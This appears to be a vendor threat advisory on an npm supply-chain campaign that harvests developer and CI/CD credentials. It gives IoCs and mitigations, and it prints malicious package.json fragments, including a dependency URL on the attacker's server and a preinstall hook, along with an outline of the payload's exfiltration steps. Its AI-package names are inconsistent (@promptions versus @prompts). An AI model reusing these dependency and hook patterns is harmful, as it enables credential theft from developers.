PhantomRaven Wave 5: The Supply-Chain Attack That Follows Your CI/CD Tokens Into Prod
TL;DR
Mend.io discovered Wave 5 of the persistent PhantomRaven campaign: 33 new malicious npm packages using a sophisticated three-stage Remote Dynamic Dependency (RDD) attack to silently harvest developer identities, Git credentials, CI/CD tokens, and AWS/Azure secrets from DeFi, cloud infrastructure, and AI developer environments. All 33 packages remain live on npm as of publication; the C2 is operational.
What Happened
On May 4, 2026, Mend.io's security research team identified a fifth wave of the PhantomRaven npm supply-chain attack campaign—a threat that has been stealing developer credentials since August 2025 across 200+ malicious packages.
Unlike typical supply-chain attacks that rely on name-squatting or typosquatting, PhantomRaven uses a novel Remote Dynamic Dependency (RDD) technique that hides the malicious payload on an attacker-controlled server, not in the published npm package. This bypasses static analysis tools and makes hash-based detection nearly impossible.
What's most alarming: Wave 5 deliberately targets specific developer communities—DeFi/crypto (eigenlayer-sdk, vesting contracts), cloud infrastructure engineers (Azure CDK packages), and for the first time, AI and LLM developers (@promptions/promptions-chat, @promptions/promptions-llm, @promptions/promptions-ui).
Developers who installed any of the 33 packages during npm install had their environment fingerprinted, credential files read, and CI/CD tokens exfiltrated in a completely silent operation—no errors, no warnings, no log entries.
Technical Details: The Three-Stage Kill Chain
Stage 0: The Trojanized package.json
The npm package appears legitimate: reasonable name, mature version number, minimal index.js that prints "Hello, world!". The trap is in package.json:
{
"name": "graphql-js-client-transform",
"dependencies": {
"graphql-js-client-transform": "http://pack.nppacks.com/npm/graphql-js-client-transform"
}
}
The package lists itself as a dependency, but points to the attacker's server instead of the npm registry. When a developer runs npm install, npm's dependency resolver automatically fetches the self-referencing dependency, triggering a connection to the C2.
Stage 1: Dynamic Payload Wrapper (Hash-Evasion)
The C2 serves a unique tarball per package request—different SHA256 hash each time—making hash-based detection see a "new" file every time. However, every Stage 1 payload contains identical index.js code that redirects to the same universal dropper package: idle-style-xi.
Detection evasion mechanism: hash changes, but the execution path is fixed and singular. A defender looking at file hashes vs. code behavior sees opposite signals.
Stage 2: The Dropper with Preinstall Hook
idle-style-xi (never published to npm, only served from C2) contains a preinstall lifecycle hook in package.json:
{
"scripts": {
"preinstall": "node index.js"
}
}
npm executes this automatically—no user action required, no download prompt. The index.js immediately:
1. Fingerprints the victim machine (OS, Node version, current directory)
2. Sends headers to /token.php with X-Package-Name: idle-style-xi
3. Receives a single-use token that expires in seconds
4. Fetches the personalized payload using that token
5. Executes it via require()
6. Deletes the temp file
Anti-forensics: temp file is deleted, all console output is suppressed. The entire attack is invisible during npm install.
Stage 3: The Final Payload (5,865 bytes)
The silenced payload collects developer identity from four sources in order of reliability:
- Environment variables (EMAIL, USER_EMAIL, GIT_AUTHOR_EMAIL, npm_config_email)
- ~/.gitconfig (Git commit email)
- ~/.npmrc (npm registry email)
- package.json author field
Then it harvests CI/CD environment variables targeting GitHub Actions, GitLab CI, Jenkins, and CircleCI:
const ciEnvVars = {
GITHUB_ACTIONS, GITHUB_ACTOR, GITHUB_REPOSITORY,
GITLAB_CI, JENKINS_URL, CIRCLECI,
USER, HOME, PATH
};
It resolves public IP via api64.ipify.org, collects system info (hostname, os, architecture), and POSTs everything as JSON to /mozbra.php on the C2.
What the attacker receives from a single compromised CI/CD environment:
- Developer email(s)
- Git repository names
- GitHub Actions token (GITHUB_TOKEN equivalent)
- AWS/Azure credentials (if in PATH or environment)
- SSH key paths
- Node version, OS, public IP
- Timestamp
Lyrie Assessment: Why CISOs and AI Security Teams Must Act Immediately
1. **AI Developers Are New Targets—This Changes Your Supply-Chain Risk**
PhantomRaven Wave 1–4 focused on general JavaScript developers. Wave 5 explicitly targets AI/LLM developers via @promptions/promptions-* packages. This suggests the attacker is specifically interested in:
- HuggingFace API keys
- OpenAI/Anthropic/Claude API tokens
- Fine-tuning datasets and prompts
- Model weights and deployment credentials
For organizations building AI applications: if your dev team installed any @promptions/* package, your LLM API keys may be compromised.
2. **The RDD Technique Breaks Static Analysis Entirely**
Traditional supply-chain defense (SBOMs, signature verification, static code scanning) cannot detect this attack because:
- The malicious code lives on the attacker's server, not in the published npm package
- Each package has unique SHA256 hash (changes per request)
- The only identical code across packages is the Stage 1 redirect—a single
require()call pointing to a URL
Implication: SBOM-only strategies and hash-based detection fail. You need dynamic behavior observation.
3. **The Token Gate Is a Directed Defense Against Automated Scanning**
The C2 checks that X-Package-Name header equals "idle-style-xi" and blocks IPs after first failed auth attempt. This is a deliberate anti-researcher, anti-automation mechanism. It means:
- Automated threat intel scanning fails to trigger the payload
- The attack remains invisible to most scanning-based defenses
- Only real npm install operations (with correct headers) trigger the full chain
For autonomous defense systems: signature-based detection won't catch this; you need behavioral instrumentation.
4. **CI/CD Compromise Scales the Damage**
If the install happens in CI/CD (GitHub Actions, GitLab CI, Jenkins), the attacker receives:
- GITHUB_TOKEN (can push code, trigger workflows, access private repos)
- Repository names and org names (reconnaissance)
- Secrets stored in CI/CD environment variables
Single compromised CI/CD environment = production push capability.
5. **Pakistan-Based Infrastructure + Cloudflare Compromise Signals**
The C2 infrastructure (pack.nppacks.com) shares IP with hblnew.ecompk.com, a subdomain under ECOM PK's Cloudflare account. This suggests either:
- Insider compromise of ECOM PK's Cloudflare/DNS admin
- Compromised Cloudflare API token
- Possible APT involvement (infrastructure reuse across campaigns)
The sophistication of the RDD technique + infrastructure operations suggests this is not a lone developer—this is an organized, well-resourced threat actor.
Recommended Actions
Immediate (Next 4 Hours)
1. Audit npm install logs for any of the 33 malicious packages (list below)
2. Rotate all credentials accessible from machines that ran npm install (npm tokens, SSH keys, AWS/Azure keys, GitHub tokens)
3. Audit GitHub Actions workflows for unexpected commits or secret exfiltration in the last 48 hours
4. Search package.json and package-lock.json for HTTP-based dependencies:
grep -r "http://" package*.json | grep -v "registry.npmjs.org"
Short-term (24 Hours)
5. Block C2 infrastructure at DNS and network perimeter:
- pack.nppacks.com
- hblnew.ecompk.com
- 54.160.138.70
6. Deploy HTTP POST monitoring to catch mozbra.php exfiltration attempts
7. Require --ignore-scripts flag in CI/CD npm install commands (breaks preinstall hooks)
8. Scan CI/CD logs for POST requests to unfamiliar domains on port 80 (mozbra.php)
Ongoing (This Week)
9. Implement npm package.json validation that flags http:// dependencies as errors (legitimate npm packages use version strings, not URLs)
10. Consider npm audit automation integrated with CI/CD gates (failed npm audit = blocked merge)
11. Review Cloudflare API token access for any services using ecompk.com or similar legitimate domains (look for unexpected DNS changes)
12. Instrument Node.js runtime to log require() calls and HTTP requests during npm install phases
The 33 Malicious Packages (Wave 5)
DeFi/Crypto Targets:
- eigenlayer-sdk
- @inverse-finance/vesting-contracts
Cloud Infrastructure Targets:
- @cdktf-constructs/azure-publicipaddress
- @cdktf-constructs/azure-resourcegroup
- @cdktf-constructs/azure-subnet
- @cdktf-constructs/azure-virtualnetworkgateway
- @cdktf-constructs/azure-virtualnetworkgatewayconnection
AI Developer Targets:
- @prompts/prompts-chat
- @prompts/prompts-image
- @prompts/prompts-llm
- @prompts/prompts-ui
General JavaScript/React Targets:
- react-schedule-it
- react-remove-properties
- react-native-wcandillondigital-sdk
- griffing-ui-pkg
- griffing-ux-pkg
- rampage-unpack
- random-unpack
- return-words
- return-npm
- adb-node
- export-default
- escompat
- polyfill-es-shims
- digitalexp-common-components-l9
- link-ui-pkg
- mistica-local-rules
Babel/Transpiler Impersonations:
- transform-es3-member-expression-literals
- transform-es2015-destructuring
- transform-es2015-typeof-symbol
- transform-es2015-computed-properties
- transform-es2015-template-literals
- graphql-js-client-transform
Indicators of Compromise (IoCs):
- C2 Domain: pack.nppacks.com (54.160.138.70)
- C2 Alternate: hblnew.ecompk.com
- Exfiltration Path: POST /mozbra.php
- Token Gate: GET /token.php with X-Package-Name header
- Payload Delivery: GET /route.js?token=<token>
- Final Payload Hash (Stage 3): abe9ee9edfc44f7675400207a826c260b2f197d1f93e36010c35d627983e4294
Sources
1. Mend.io: PhantomRaven Wave 5 - NPM Attack on DeFi, Cloud & AI Devs
2. OffSeq Threat Radar: PhantomRaven Wave 5 Intelligence
Lyrie.ai Cyber Research Division
Lyrie Verdict
Lyrie's autonomous defense layer flags this class of exposure the moment it surfaces — no signature update required.